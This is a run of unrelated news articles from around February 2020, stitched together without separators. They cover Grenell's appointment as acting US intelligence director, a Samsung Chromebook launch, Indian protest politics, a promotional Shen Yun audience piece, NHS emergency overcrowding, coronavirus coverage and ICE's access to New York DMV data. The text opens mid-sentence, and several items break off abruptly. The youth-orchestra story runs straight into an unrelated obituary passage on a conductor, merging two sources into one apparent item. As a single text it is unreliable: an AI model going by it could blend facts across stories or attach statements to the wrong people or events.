2001, terror attacks on the United States. It oversees the 17 U.S. civilian and military intelligence agencies, including the Central Intelligence Agency (CIA). Critics assailed the appointment of Grenell as an acting director -- meaning he will not require Senate approval -- and for his perceived lack of experience in intelligence matters. Senator Mark Warner, the top Democrat on the Senate Intelligence Committee, said the move was apparently "an effort to sidestep the Senate's constitutional authority to advise and consent on such critical national security positions." Warner also said that "the president has selected an individual without any intelligence experience to serve as the leader of the nation's intelligence community in an acting capacity." Grenell, a vocal supporter of Trump's policies, replaces Joseph Maguire, who has served as acting DNI since August. Maguire was named to the post following Dan Coats' resignation as director. Trump had a strained relationship with Coats, who had supported the U.S. intelligence community's conclusion that Russia interfered in the 2016 presidential election with the goal of promoting Trump over Democratic rival Hillary Clinton. Grenell, who served as the U.S. spokesman at the United Nations during the administration of President George W. Bush, has been known as a controversial figure. In 2018, Germany asked Washington to clarify remarks Grenell made to a right-wing website saying he wanted to empower "other conservatives" in Europe. He has also vocally criticized Berlin for what he has seen as a lack of support for Washington's tough stand against Iran, made controversial statements on Germany's domestic policies, and made other critical comments that were unusual for an ambassador to a long-standing U.S. ally. In October 2019, Trump named Grenell to become Washington's special envoy for negotiations between Serbia and Kosovo, acting in the role concurrently with his post as ambassador to Berlin. Trump has hailed his role in helping the two Western Balkan rivals to restore air and rail links in recent months. During a signing ceremony marking the restored ties on February 14 on the sidelines of the Munich Security Conference, Serbian President Aleksandar Vucic praised Trump and Grenell for helping to reach an agreement that he said will "ensure peace for future decades." With reporting by Reuters, AFP, AP, dpa, and The New York Times Source: https://www.rferl.org/a/trump-ambassador- germany-kosovo-serbia-envoygrenell- intelligence-director/30444592.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address As expected, the first Chromebook with a 4K AMOLED display is coming soon although not quite as soon as expected. The Samsung Galaxy Chromebook was supposed to launch in the first quarter of 2020, but according to a new listing at Best Buys website, itll actually go on sale April 6th (which is a few days into the second quarter). As expected, it has a starting price of $999 for a model with an Intel Core i5-10210U processor, 8GB of RAM, and 256GB of solid state storage. While there had been some earlier reports that the notebook would have optional support for 4G LTE (because the Samsung website said so), it turns out thats not the case. About Chromebooks reports that Samsung has no plans to offer the option, and there was probably just an error on the website, which has since been removed. The Samsung Galaxy Chromebook will be one of the most expensive Chrome OS laptops when it launches, but its also one of the most powerful thanks to its 10th-gen Intel Core processor and 8GB of memory. The 4K AMOLED display is probably the notebooks key selling point, but if youre looking for other reasons to justify the purchase, its also a thin, light, and versatile device that measures 0.4 inches thick, weighs 2.3 pounds, and has a 360-degree hinge allowing you to use the computer in laptop or tablet modes. Other features include a dockable Samsung S-Pen, a touchscreen display, a backlit keyboard, fingerprint reader, and microSD card reader. Oh, and the notebook has a fanless design. via About Chromebooks and Android Police ABC News Former President Donald Trump, his sister Maryanne Trump Barry and the estate of his late brother Robert Trump tried on Tuesday to convince a New York judge to dismiss a lawsuit by Mary Trump that accused her family of swindling her out of at least $10 million. Attorneys for the Trump siblings argued Mary Trump's claims are time-barred by a six-year statute of limitations and prohibited by legal releases she signed in 2001 when the family settled the estate of Fred Trump Sr., the former president's father. The Trumps also argued Mary Trump possessed "boxes and boxes of information" about the estate settlement that should have given rise to any claims at the time. New Delhi, Feb 21 : Following the Supreme Court judgement on reservations, Dalit leaders under Aarakshan Bachao Sangharsh Samiti led by Udit Raj will march from Mandi House to Jantar Mantar here on Saturday. Addressing a Press Conference on Friday Udit Raj said "the entire country is being sensitised to save reservation and the Constitution." A massive demonstration is being planned he said, adding that the BJP government in Uttarakhand had argued in the top court that the provision of reservation in Articles 16(4) and 16(A) is not fundamental rights and the government is free to apply or not apply all articles in chapter 3 of the Constitution of fundamental rights. Udit Raj said the court has wrongly interpreted that some of them are not fundamental rights and it is a blatant discrimination against Other Backward Classes and Scheduled Castes and Tribes. The Congress leader alleged that the RSS and BJP had been conspiring against reservation. He said "the BJP gave a lofty slogan of 'Sabka Saath Sabka Vikas' but this has turned into 'Khud ka Vikas and Sab Ka Vinash' as about 90 per cent of government jobs have gone." He alleged that RSS chief Mohan Bhagwat has been speaking against reservations. This resource is no longer available This resource is no longer available. Return to previous page. ST. PETERSBURG, Fla.For 30 years, artist Jeff Walling has been painting lifelike murals and beautiful faux architectural details that trick the eye into believing its seeing stone ruins, three-dimensional objects, gorgeous marble, and more. But on Feb. 20, 2020, Wallings artistic sensibilities came alive in a way they never had before as he watched Shen Yun Performing Arts at the Mahaffey Theater in St. Petersburg, Florida. Love [Shen Yun]! Loved it from the moment it came on, I was amazed! Walling said. It really was, the music is fantastic. I didnt know it was going to be a live orchestra. So I loved that. But no, the performers were amazing. Theyre blowing my mind, really are. Well, the whole thing is artistic, from the color, from the dancing, the music. I mean everything about it. I think its just so well done. Its blowing my mind, honestly. Im really enjoying it, he added. Its just so fluid. It has a peace to it. Its not loud, stomping, its not R-rated or anything. Its just beautiful. It is Godly, I think. Walling needed time after the performance to let everything sink in and let the exact inspiration he received rise to the surface. But right away he was curious to know more about the ethnic and folk dances from Mongolia and from ancient Chinas dynasties. It definitely is something Ill research more about the traditional Chinese dance and the different regions cause I care about those things, you know, those little details, what the individual pieces were about, he said. Shen Yun utilizes classical Chinese dance, an ancient and highly-expressive art form developed over thousands of years in China, in its quest to revive that ancient civilization and traditional culture. Combined with couture costumes, a live orchestra with Eastern and Western instruments, digitally animated backdrops, and more, Shen Yuns performance delights audiences from Los Angeles to Paris to Tokyo and has influenced the art world significantly. Walling, the painter, agreed. Absolutely, love it! Everything flows. Everything makes sense. Its a full composition. You know, every dance, every, every movement, the background, everything, love it. Very thoughtful. Like many, Walling wasnt aware that the tumbling and flipping techniques now associated with gymnastics originated in classical Chinese dance. I didnt know that all those acrobatic moves really came from China, too. So that was neat, he said. In reviving traditional Chinese culture, Shen Yun passes on reminders of the most essential aspect of that ancient civilization: its deeply spiritual beliefs such as Buddhism, Daoism, and Confucianism. Walling said he absolutely loved this component of Shen Yun. I mean, I think thats the original dance in this world came from reverence to God or a being or entity. So thats where dance came from. So, of course, it makes sense, he said, adding that the performance and its divine themes inspired him and made him feel good. Walling praised Shen Yuns mission to revive Chinas 5,000-year-old culture. Oh, I love it. Absolutely. Yeah. It needs to be over in China too. Its important to keep this going because, again, I didnt know about it. And probably a lot of people didnt know that this was an art form thats been going on for a long time, he said. When Walling heard that Shen Yun cannot perform in China due to the Chinese Communist Partys hostility toward traditional Chinese culture and people of faith, it makes me very angry, he said. So the whole thing is an emotional experience I guess. Because thats frustrating. So subjugating a whole group of people that believe something thats personal, you cant stop people from doing that. I know theyre doing that to the Muslims over there, the Uyghurs. So yes, this is important. Its very important, not just artistically, but socially, I think. Absolutely. To Shen Yuns artists, Walling extended his gratitude and the hope to see them again. Just thank you! he told them. Yes, thank you for doing it. I know I cant. The amount of work that goes into [your performance] is overwhelming. And, yes, just keep coming back. Keep doing it. Yes, absolutely! Thank you! With reporting by NTD Television and Brett Featherstone. The Epoch Times considers Shen Yun Performing Arts the significant cultural event of our time and has covered audience reactions since the companys inception in 2006. Were going to get back to living life, even if it kills us Fianna Fail leader Micheal Martin has called Fine Gael leader Leo Varadkar for the first time about forming a grand coalition. After the first Dail vote for the Taoiseach, Mr Martin spoke to Mr Varadkar about government formation and the Taoiseach said he would enter exploratory talks with the Fianna Fail leader. Mr Varadkar has said he wants to lead Fine Gael in opposition but is open to speaking to all parties. He will need to seek the permission of his parliamentary party to enter a programme for government talks. Fine Gael is meeting next week to discuss government formation. Read More Mr Martin has u-turned on his election pledge not to go into enter coalition with Fine Gael. He called Mr Varadkar on Thursday night about opening negotiations on forming a historic coalition between their two parties. Separately, Fine Gael also accepted the offer from the Greens for exploratory talks next week. Fianna Fail has also begun talks with the Green Party and the Social Democrats. Mr Martin categorically ruled out forming a government with Sinn Fein in the Dail during a fiery debate with Mary Lou McDonald. Mr Varadkar said Fine Gael would step in and provide a stable government if Fianna Fail. Karnataka chief minister B S Yediyurappa on Friday said the young woman who has been charged with sedition for raising pro-Pakistan slogans during an anti-Citizenship Amendment Act event in Bengaluru, had links with Naxals in the past. IMAGE: Police personnel attempt to stop Amulya Leona who raised pro-Pakistan slogans during a protest against Citizenship Amendment Act in Bengaluru. Photograph: ANI Photo Amulya Leona had raised "Pakistan Zindabad" slogan thrice after the organisers of the event under the banner of "Save Constitution" invited her to address the gathering in the presence of All India Majlis-e-Ittehadul Muslimeen chief Asaduddin Owaisi. She was immediately taken into custody and subsequently produced before a judicial magistrate and sent to 14-day custody. A sedition case was also filed against her. "Importantly, the organisations that are behind people like Amulya and nurturing them, if we don't take action against such organisations, such things won't end. Prima facie it is clear that there is conspiracy going on to disturb law and order with such incidents," Yediyurappa said. Speaking to reporters in Mysuru, he said, "if organisations that are behind her are inquired into, things will come out. It is clear that she had links with Naxals in the past. In this backdropshe should be punished and action should be taken against organisations that are behind here." Amulya's father himself has said she should be punished and should not get bail and that he will not seek protection for her, the chief minister added. Police will also be questioning the organisers of the event in connection with the incident, official sources said. Meanwhile, Amulya's fatherWazi said action should be taken against her in accordance with law, so that she corrects herself. "It is an unforgivable mistake, she has caused pain to Indians. I'm deeply disturbed...action should be taken against her in accordance with law, she is around 19, we will have to find out why she said it and who is behind it,"he added. "She is a bright girl...I have tried to tell her not to involve herself in such activities after I got to know she was involving in anti-CAA, NRC protests and complete her education first," he said. He expressed apprehension over possible health issues of his daughter. Police have provided security to Amulya's residence at Koppa in Chikkamagaluru after some protesters had staged demonstrations, officials said. Several organisations held protests on Friday against the incident. Youll have seen endless reports of long waits in overcrowded Accident and Emergency departments, ambulances queuing outside and distressed patients in corridors waiting for beds. How have we come to this in a wealthy first world nation? The reports are no exaggeration. The statistics dont lie. Those numbers are people; sick patients and scared relatives, with harrowing human accounts. Caring professional staff are doing their best in a pressurised, morale-sapping, high-stakes environment. Our beds are over 90 per cent full year round. Hospitals start each day short of beds and scrambling to empty some to make room for the next wave. Rammed beds mean no flexibility for even a small surge in local demand, for instance from infection outbreaks, which in turn spread on over-packed wards. The key four-hour A&E waiting time targets for NHS hospitals have been missed for several years. More patients than ever wait for over 12 hours. Performance is the worst since we started measuring against them. Waiting times for planned operations are also hit when emergency patients are admitted to those beds. NHS at 70: Pride and worry as free health service celebrates birthday Show all 18 1 /18 NHS at 70: Pride and worry as free health service celebrates birthday NHS at 70: Pride and worry as free health service celebrates birthday Nurses test the hearing of a newborn child Reuters/Hannah McKay NHS at 70: Pride and worry as free health service celebrates birthday The waiting room is busy in Milton Keynes University Hospital Reuters NHS at 70: Pride and worry as free health service celebrates birthday On Ward 24, two nurses work at the nurses station Reuters/Hannah McKay NHS at 70: Pride and worry as free health service celebrates birthday In A&E, a porter rushes a patient through the corridor Reuters/Hannah McKay NHS at 70: Pride and worry as free health service celebrates birthday A surgical team prepares a patient for their operation Reuters/Hannah McKay NHS at 70: Pride and worry as free health service celebrates birthday In the physiotherapy department, patients are treated in the hydrotherapy pool Reuters/Hannah McKay NHS at 70: Pride and worry as free health service celebrates birthday On Ward 8, an inpatient awaits visitors Reuters/Hannah McKay NHS at 70: Pride and worry as free health service celebrates birthday In the physiotherapy department, amputees take a class Reuters/Hannah McKay NHS at 70: Pride and worry as free health service celebrates birthday A junior doctor is at work in the staff room Reuters/Hannah McKay NHS at 70: Pride and worry as free health service celebrates birthday A surgical team prepares a patient for their operation Reuters NHS at 70: Pride and worry as free health service celebrates birthday An inpatient has her hair washed by the staff hairdressers Reuters/Hannah McKay NHS at 70: Pride and worry as free health service celebrates birthday In the audiology department, a mother watches on as her son is given a hearing test Reuters/Hannah McKay NHS at 70: Pride and worry as free health service celebrates birthday On Ward 8, staff serve lunch to the patients Reuters/Hannah McKay NHS at 70: Pride and worry as free health service celebrates birthday On Ward 24, a patient waits on their bed Reuters NHS at 70: Pride and worry as free health service celebrates birthday On Ward 8, a cleaner is at work Reuters/Hannah McKay NHS at 70: Pride and worry as free health service celebrates birthday A nurse takes blood from a patient Reuters/Hannah McKay NHS at 70: Pride and worry as free health service celebrates birthday On Ward 8, an inpatient receives a visitor Reuters/Hannah McKay NHS at 70: Pride and worry as free health service celebrates birthday Inpatient Donald Ritson lies in bed in Ward 24 in Milton Keynes University Hospital Reuters The number of patients attending major A&E departments in general hospitals has near doubled in the past 20 years. Although some brand new departments have been built and others extended, they are rarely designed or staffed for the numbers of patients now using them. Campaigns and political commentators repeatedly highlight use of A&E or ambulances by people who dont count as accidents or emergencies and might have used a walk-in urgent care unit or gone to a GP if only they could get an appointment. We are urged to see a pharmacist, use advice lines or websites, manage our own conditions and stay away. An estimated 15 to 20 per cent of attendees are people with problems that dont technically need A&E. But those patients are generally assessed in chairs and go home. GP workload and attendance at walk-in units have risen as fast as A&E attendance in any case. These patients are not the cause of the problem. Keeping more of them away wont solve it. The main cause of the overcrowding and long waits is patients who need onward admission from A&E to beds which are occupied and unavailable. The older, frailer and sicker you are, the more existing long-term medical conditions you already have, the more likely you are to need admission. These patients are especially at risk of harm or distress from long trolley waits in corridors. But why so few beds? First, even as demand has risen, the population grown and aged, we have lost around a quarter of our hospital beds over the past 30 years as part of deliberate policy direction and poor planning based on poor modelling assumptions. New-build hospitals have often had fewer beds than ones they replaced. The UK is at the bottom of the OECD league of bed numbers per 1,000 people with less than half what the Netherlands, Germany or France have. We were warned repeatedly. The National Beds Inquiry in 2000 described a vicious circle of increasing admissions to fewer beds, inadequate investment in community alternatives to hospital meaning less resource for that investment. The Nuffield Trust in 2013 forecast a significant rise in demand for acute beds and the Royal College of Emergency Medicine called for additional capacity. There are many people in acute beds in any hospital who wouldnt need to be there if community alternatives were rapidly and readily available to help people leave hospital or avoid the need for admission. Real terms social care funding is still below 2010 levels following cuts to local government support, with around half a million fewer adults receiving home care and no increase in care home capacity, despite population ageing and rising need. This leaves family members who deliver huge amounts of free unpaid care with nowhere else to turn for support. We have lost community hospital beds and failed to invest enough in community NHS intermediate care services to support people at home with rehabilitation and recovery. District nursing numbers have fallen dramatically. The number of medically stable patients stranded in hospital through no fault of their own, awaiting community support on discharge, has risen yearly. We have seeded a perfect storm with predictable devastation. Of course, hospitals have their own role in getting more patients home from the front door, improving flow through ward beds and tackling delays in assessments and processes. But there isnt much slack or headroom. Despite contested government pledges to build 40 new hospitals there wont be a major increase in beds or the staff to look after them. We need solutions to primary, social and community healthcare and fast. There werent any in last weeks NHS Funding Bill. Youll be reading those headlines for years to come otherwise. And not just in winter. Professor David Oliver Is an NHS consultant in geriatrics and internal medicine, former vice president of the Royal College of Physicians and president of the British Geriatrics Society. He is also a weekly columnist in the British Medical Journal Michael Zirkle / Contributed photo Greater Connecticut Youth Orchestras, formerly known as Greater Bridgeport Youth Orchestras, is welcoming Cirque de la Symphonie for two performances. The 100-piece Principal Orchestra returns to Bridgeports Klein Memorial Auditorium on Saturday and Sunday, Feb. 29 and March 1, to accompany the aerialists, contortionists, jesters, dancers, and strongmen of the Athens, Georgia-based touring troupe. The collaboration is a first of its kind for GCTYO. The Cirque program is challenging because of the sheer amount of music the orchestra needs to prepare and the overall difficulty level of many of the pieces, said Chris Hisey, Music Director and Principal Orchestra Conductor. Messiaen was inspired to write the work by a trip to Bryce Canyon National Park and Cedar Breaks National Monument in Utah. The next year, Mr. de Leeuw led a small cast of soloists, as well as members of the Dutch National Opera and the players of the Asko and Schonberg Ensembles, in the United States premiere of Mr. Andriessens opera Writing to Vermeer, co-directed by Peter Greenaway, who wrote the libretto. The work imagines the life of the painter, who is away on a trip, as conveyed through letters to him from his pregnant wife, mother-in-law and favorite model, all sent from the city of Delft in a time of war, violence and floods in the Netherlands. Critics were divided over this massive production, which opened the 2000 Lincoln Center Festival. However, Mr. de Leeuws conducting of this wondrous score a mash of styles, colors and intricate textures was a revelation. (He later recorded the opera on the Nonesuch label.) Mr. de Leeuws sensitivity as a musician perhaps came through best in intimate settings, including a pair of recitals he presented in 2017 with the adventurous soprano Barbara Hannigan in the Board of Officers Room at the Park Avenue Armory in Manhattan. The first recital offered songs by composers of the Second Viennese School, including Schonberg, Berg and Webern; the second featured works by Satie, including the composers subdued and alluring Socrate. In an interview with The New York Times, Ms. Hannigan gave Mr. de Leeuw full credit for conceiving the project and boosting her courage to take it on. President of Azerbaijan Ilham Aliyev and First Lady Mehriban Aliyeva have visited the Tomb of the Unknown Soldier at the Altare della Patria in Rome. A guard of honor was lined up for the Azerbaijani President here. The national anthems of Azerbaijan and Italy were played. The chief of the guard of honor reported to President Ilham Aliyev. President Ilham Aliyev laid a wreath at the Tomb of the Unknown Soldier. --- Follow us on Twitter @AzerNewsAz Source: Xinhua| 2020-02-21 16:56:57|Editor: huaxia Video Player Close WUHAN, Feb. 21 (Xinhua) -- Although cities are the main battlefields of the ongoing novel coronavirus outbreak, China's vast rural areas are no less important to the win. More than 1.4 million rural doctors are playing a key role by safeguarding the health of rural residents. Xing Jinhui is a doctor in Xingwei village in central China's Hubei Province, the hardest-hit province in the country. She has joined in the epidemic prevention and control for more than half a month. However, the doctor started to experience fever symptoms a week ago. "I was checking the temperature of the villagers one by one on Feb. 7, and I got caught in the rain. After I finished my work and returned home at night, my clothes were soaked and shoes were filled with water," Xing recalled. She had to stop checking villagers' temperatures and health conditions in the following days. In case she got infected, she did not want to infect others. Xing later went to the hospital in the county seat and was diagnosed as having a cold. During her isolation, she kept calling villagers returned from Wuhan, the epicenter of the outbreak and other cities, to check their health. She also launched online diagnoses through WeChat for villagers. Xing was born in a doctors' family. During her stay at home, Xing's brother Xing Jiuhong, who works for a village clinic, continues to examine the villagers every day. Her niece and daughter who also work in the clinic provide medical services for villagers as well. Xing's husband and nephew are treating patients in two different hospitals. The latest statistics show the total confirmed cases in Hubei had reached 62,662 by Thursday. "There are more than 3,700 people in the village. A total of 169 returned from Wuhan, three from Huanggang and 440 villagers from other places," Xing Jiuhong said. At the beginning of the screening, villagers were reluctant to cooperate. "It was too cold to get up in the winter morning. And villagers didn't want to be checked," Xing Jiuhong said. "There was no public toilet in the village, and it was not convenient to use villagers' toilet in this very special time," Xing Jinhui added. But those troubles did not defeat her. When learning that there is a shortage of medical supplies in city hospitals, Xing and her family donated 47,000 yuan (about 6,712 U.S. dollars) and 3,000 pairs of medical gloves. Their deeds touched many villagers and won their understanding. A retired rural doctor and a volunteer have joined with the brother and sister to check villagers' temperature. "Thanks to the publicity and epidemic prevention and control efforts over the half month, villagers' awareness of epidemic prevention has been greatly enhanced. The elderly wear masks and wash hands carefully," said the brother. So far, the village has not reported a single confirmed cases of novel coronavirus infection. New Delhi, Feb 21 (UNI) Delhi Deputy Chief Minister Manish Sisodia met Union Finance Minister Nirmala Sitharaman here on Friday and discussed economic issues related to the National Capital including the share of central taxes. "There was a positive dialogue over issues related to development of the capital. I demanded that Delhi be given its share of central taxes. She has assured me that she will look into it," Mr Sisodia told the media after the meeting. This was the first meeting of Mr Sisodia, who also holds the finance portfolio, with Union Finance Minister after taking oath on February 16. "During the meeting, I asked for funds to be provided for the Municipal Corporation of Delhi in the same way as the central government gives (Rs 488 per capita per year) to the municipal corporations of other states. As of now, Delhi receives no funds from the central government for the municipal corporation," he stated. "Delhi has not been given any share in central taxes since 2001 by the central government. Whereas 42 pc of central taxes are given to all other states based on the recommendations of the Finance Commission. Prior to 2001, Delhi also used to get a share in it," Mr Sisodia said in a tweet after the meeting. Chief Minister Arvind Kejriwal-led Aam Adami Party will present its first Budget of the new term in the Vidhan Sabha. Earlier, Mr Kejriwal met Union Home Minister Amit Shah at his residence on Wednesday, in a 'courtesy call, after the Assembly polls. "We mutually agreed on working together for the development of Delhi. The central and state government will work together on various matters including women security to avoid any differences in approach, as there is a major division of power and responsibilities when it comes to the functioning of departments in Delhi," Mr Kejriwal had said. UNI JW PS 1451 Bangladesh High Commissioner to India Muhammad Imran met External Affairs Minister S Jaishankar here on Friday and discussed Prime Minister Narendra Modi's upcoming visit to attend the birth centenary celebrations of Sheikh Mujibur Rahman, the country's founder. Bangladesh will commence the celebrations, known as Mujib Satoborsha 2020-21, on March 17, marking the 100th birth day of Bangabandhu who led the country's War of Liberation in 1971. Describing Bangabandhu as a global leader, Jaishankar said India remembers him with profound respect, according to a Bangladesh High Commission statement. Jaishankar expressed satisfaction at the excellent bilateral relations between the two neighbours. India attaches special importance to its relations with Bangladesh, he told the envoy. They discussed Prime Minister Modi's upcoming visit to Bangladesh to attend the centenary celebration of Rahman to be held in Dhaka on March 17. "Muhammad Imran conveyed Dhaka's appreciation for India's friendly gesture to evacuate several Bangladeshis stranded in China in the wake of an outbreak of Coronavirus there," the statement said. However, the Indian government has not shared any information on evacuation of Bangladeshis from the Coronavirus-hit Hubei province. The envoy assured Jaishankar of doing his best to take the bilateral relations to greater heights during his tenure, the statement said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A man wearing a face mask walks past a shop of a French luxury cosmetic brand Lancome at the Wangfujing shopping street as the country is hit by an outbreak of the novel coronavirus, in Beijing By Howard Schneider, Leika Kihara and Balazs Koranyi WASHINGTON/RIYADH/FRANKFURT - (Reuters) - In the days after a new virus was identified in China on Dec. 31, global central bankers fell back on past experience for a comforting early analysis. The SARS epidemic in 2003, they noted, had come and gone with little economic impact. Weeks later, that parallel has failed. A disease that has sickened around 75,000 in China and ground its economy to a near halt continues to spread outside its epicenter. The latest blow to hopes for a successful containment came Thursday when confirmed cases in South Korea topped 100 and it reported its first death. The streets of that country's fourth-largest city stood abandoned as residents holed up indoors. Now, as global finance officials gather in Riyadh, Saudi Arabia, for the latest Group of 20 summit, they will do so having intensified both their level of concern and the breadth of their detective work to understand the economic implications of the outbreak. That has meant watching measures of coal use and local travel in China for any independent evidence the world's second largest economy is returning to normal. They are watching disease counts outside China as the best indicator of whether the virus has been contained. In Japan officials are surveying the empty streets of the Ginza shopping district and tallying airline and cruise ship cancellations, and pondering if an economic rebound they had counted on for later this year will fizzle. In the United States, Fed officials are quizzing local business contacts and hearing from entrepreneurs blindsided by vulnerabilities in their supply networks. Businesses "have supply chains that are intimately involved in China sometimes in ways they did not know," Richmond Federal Reserve Bank President Thomas Barkin said in an interview Wednesday, recalling a conversation with one medical manufacturer that "had a supplier who had a supplier who had a part in China." SHORT HIT OR GLOBAL RECESSION? Story continues Given the evolving and unpredictable nature of any viral outbreak, analysts have no tried and true way to model the event. But policymakers and analysts say this much is clear: the more they talk to people, they more they understand China's deep role in global supply chains. That means the longer the outbreak remains uncontained, the higher the likelihood that it could become a systemic problem. Barkin said unknowables include just how flush businesses were with parts inventories before China began quarantines and business closures to stop the spread of the virus or how flexibly companies can move to other suppliers. These are issues not captured in any particular economic model, leaving central bankers globally in a scramble to get a grip on them. Forecasters have sketched scenarios that cluster around a limited impact, mostly a drop in China's first-quarter growth. But they also include a possible contraction in the global economy or, in the worst case, a European and U.S. recession as global demand falls. That's not the base case at the Fed, the European Central Bank or the Bank of Japan, with no push yet for policy action or rate cuts to offset an unwelcome economic shock. But policymakers acknowledge they are flying somewhat blind. "My read is if everything gets up to speed in the next few weeks it will be a minor bump that won't be an issue. If you are out for months then you have a more significant impact on probably 10 to 15 percent of the economy" that depends on Chinese suppliers or exports to the country, Barkin said. Similar time-dependent assessments are offered in Europe and Japan, where that country's close economic ties to China have officials particularly wary. "The picture has changed completely from before the outbreak," said a BOJ official, who was not authorized to speak publicly about the matter. RISK OF 'CONSEQUENTIAL SPILLOVERS' Economists typically look at events like this with a sanguine eye. They hurt the economy in the moment, but some losses are permanent: While a consumer can still buy that car a month or two later, forgone trips or restaurant meals are not necessarily made up. But overall, an inevitable bounce back offsets the shock. Some events, however, prove systemic. Policymakers and analysts point to how a 2011 earthquake and flooding compromised a nuclear reactor in Japan's Fukushima province, and led global businesses to rethink supply networks to make them less dependent on any single source. In a paper last year (https://www.federalreserve.gov/econres/ifdp/files/ifdp1260.pdf), Fed researchers studied what a "hard landing" in China - a combination of financial stress and a sharp drop in gross domestic product - would mean for the U.S. and global economies. The results weren't pretty. The research predicted "consequential spillovers to the United States and global economy through both real trade links and financial channels." U.S. officials as a rough rule of thumb say a 1 percentage point drop in China's growth shaves about a 0.2 percentage point from U.S. GDP - noticeable, but not likely to cause a recession unless the shock is massive. From Europe's perspective, it is not yet time to worry - but to stay watchful. "The history of these has been that there could be a significant short-term effect of events like these, but no long-lasting effect," ECB chief economist Philip Lane said in Berlin. "So this is the baseline. Let's see - it depends on how quickly it is contained." (Writing by Howard Schneider; Editing by Dan Burns) Its been more than two months now since people started protesting against CAA which seeks to fast-track citizenship for certain religious minority groups in Pakistan, Bangladesh and Afghanistan. But the question arises, how the survey mapping the multiple indicators of the United Nations Sustainable Development Goals 2030 for the first time and collecting information on migration patterns of citizens and purchase of houses, among other things is been affected by the ongoing protest, which has been peaceful. The questionnaires could be considered a plausible reason for the resistance faced. People are quite suspicious about the questions, like, did they stay in the same place for at least six months? What was their last place of residence? Are household members planning to move out? Which country did the household member last live in? Whether they possess a birth certificate or about a place of residence purchased after March 31, 2014, Et al. fearing the data could be used to determine their citizenship. As a result, the surveyors not just lack households cooperation or even attacked during their work, but the too has received complaints from various states, including Uttar Pradesh, Kerala, Maharashtra, Bihar, and Karnataka. However, the most affected state is West Bengal, where no household surveys are being conducted at present. The 78th round began in a few places but the resistance started pouring in and safety of field officers became an issue. Surveyors were attacked and gheraoed. Even the district administrations said it was not the right time to conduct any survey, a senior officer in West Bengal said. The field office in West Bengal shared evidences in the form of photographs and newspaper articles with the expert committee that had met on Wednesday. Initially we thought some questions related to migration are a source of concern. But people are getting spooked with basic questions such as name or religion, the official explained. In fact, surveys like the Seventh Economic Census, the periodic labour force survey, and the unorganised sector enterprises survey have also been halted in West Bengal, a state official said. Only those related to agriculture, industry and market price collection are taking place there. The situation is no different in Bihar. A senior officer in Bihar averred that citizens see a co-relation with the survey questions and the CAA. And the fact that there are some questions related to residency and migration is adding to the trouble. However, Chief Statistician Pravin Srivastava didnt respond to questions by Business Standard. So, what is the status at present? To know more, listen to this podcast WASHINGTON U.S. President Donald Trump has rejected reported assertions by U.S. intelligence officials that Russia was interfering in the 2020 presidential election in a bid to help his reelection campaign. In a post on Twitter on February 21, Trump described the reports as "another misinformation campaignlaunched by Democrats in Congress." The same day, Kremlin spokesman Dmitry Peskov also rejected the reports as "more paranoid announcements." "They have nothing to do with the truth," Peskov said. The New York Times, The Washington Post, and AP separately reported on February 20 that the warning was given during a closed-door briefing by U.S. intelligence officials on February 13. They cited two officials familiar with the briefing who asked for anonymity. The Times said the briefing angered Trump, who said Democrats would use the information against him. The Kremlin on February 21 denied that Russia was interfering in the 2020 election campaign. Kremlin spokesman Dmitry Peskov told reporters in Moscow on February 21 that the warnings made by U.S. intelligence officials were false. "This is another in a series of paranoid reports, and we regret to say that they will become more frequent as the election approaches," Peskov said. "They certainly have nothing to do with the truth." The U.S. intelligence community concluded that Russia meddled in the 2016 presidential election through social-media campaigns and the hacking of e-mail accounts of leading Democrats in order to boost Trumps campaign and undermine his Democratic rival, former Secretary of State Hillary Clinton. Trump has called the conclusions a "hoax." He has also vehemently denied suggestions that his team worked together with Russian figures during the election. Russia has denied it interfered in the 2016 vote. The Times reported that, during the recent congressional briefing in Washington, Trump's allies challenged the intelligence warnings and said the president had been tough on Russia. At a public hearing earlier in February, FBI Director Christopher Wray told the House of Representatives Judiciary Committee that Moscow was engaged in "information warfare" ahead of the November election through a covert social-media campaign aimed at dividing the American public and sowing discord. With reporting by AP, dpa, Reuters, The New York Times, and The Washington Post. Acting ICE director Matt Albence at a media briefing at the White House in Washington, on Oct. 10, 2019. (Charlotte Cuthbertson/The Epoch Times) ICE, Law Enforcement Officials Call for Reverse on New York DMV Database Ban Federal, state, and local law enforcement officials called on New York legislators to amend the states Green Light Law on Feb. 20, at times having to raise their voices over raucous protests against federal immigration authorities. The law, which allows illegal immigrants to obtain drivers licenses, also withholds all New York state DMV data from Immigration and Customs Enforcement (ICE) and Customs and Border Protection (CBP). Acting ICE Director Matthew Albence hosted a press conference alongside more than 30 federal and local law enforcement officials in Troy, New York, on Feb. 20. Albence said ICE runs about 5,000 checks through DMV databases nationally every week during normal operations, including to obtain drivers license information, vehicle registration information, photographs, and other information. But now the agency is unable to run any of those checks in New York. Using DMV data is absolutely one of the building blocks to any investigation and in trying to identify somebody, Albence said. Agents run license plates through the DMV database during traffic stops to identify if a driver is a wanted criminal, or if the plate belongs to the vehicle its affixed to, or if the vehicle is stolen. DMV information from a drivers license and address helps law enforcement in their investigations, often in obtaining a search warrant, Albence said. Seventy percent of the joint terrorism task force disruptions stem from arrests for immigration violations, he said. Yet the agency responsible for those arrests is now frozen out of the New York DMV databases. This is a pre-9/11 mentality in a post-9/11 world. Albence said that just the night before, he was made aware of a case in which his agents had arrested a man who was live-streaming himself sexually assaulting his own 18-month-old child. We made that arrest in a matter of hours of receiving that information. And I guarantee you, the information that we got that was crucial in identifying this individual and where they lived came through a state DMV database. And thankfully it wasnt in New York, or that child would still be being sexually assaulted as we speak, Albence said. Steve McLaughlin, county executive for New Yorks Rensselaer County, served as a state assemblyman from 2011 through 2017. He said most of the state legislators probably didnt read the Green Light Law before passing it, and are only now starting to read it and realize what a mistake they made. New York Gov. Andrew Cuomo, who met with President Donald Trump at the White House on Feb. 13, has defended the law. He accused the Trump administration of retaliation when CBP stopped all New York applications for its Trusted Traveler programs, saying it could not adequately vet people without DMV data. Cuomo has since said he was willing to compromise and allow federal immigration authorities partial access to DMV data on a case-by-case basis to conduct a background check on Trusted Traveler applicants. But McLaughlin said any concessions without a full repeal of the data ban provision is ridiculous. As bad as this law is, it passed both houses and he signed it into law, McLaughlin said. Unless the governor can do this through the executive orderwhich I highly doubtthis would have to go all the way back through the legislature, which is why I called on the legislature to get involved 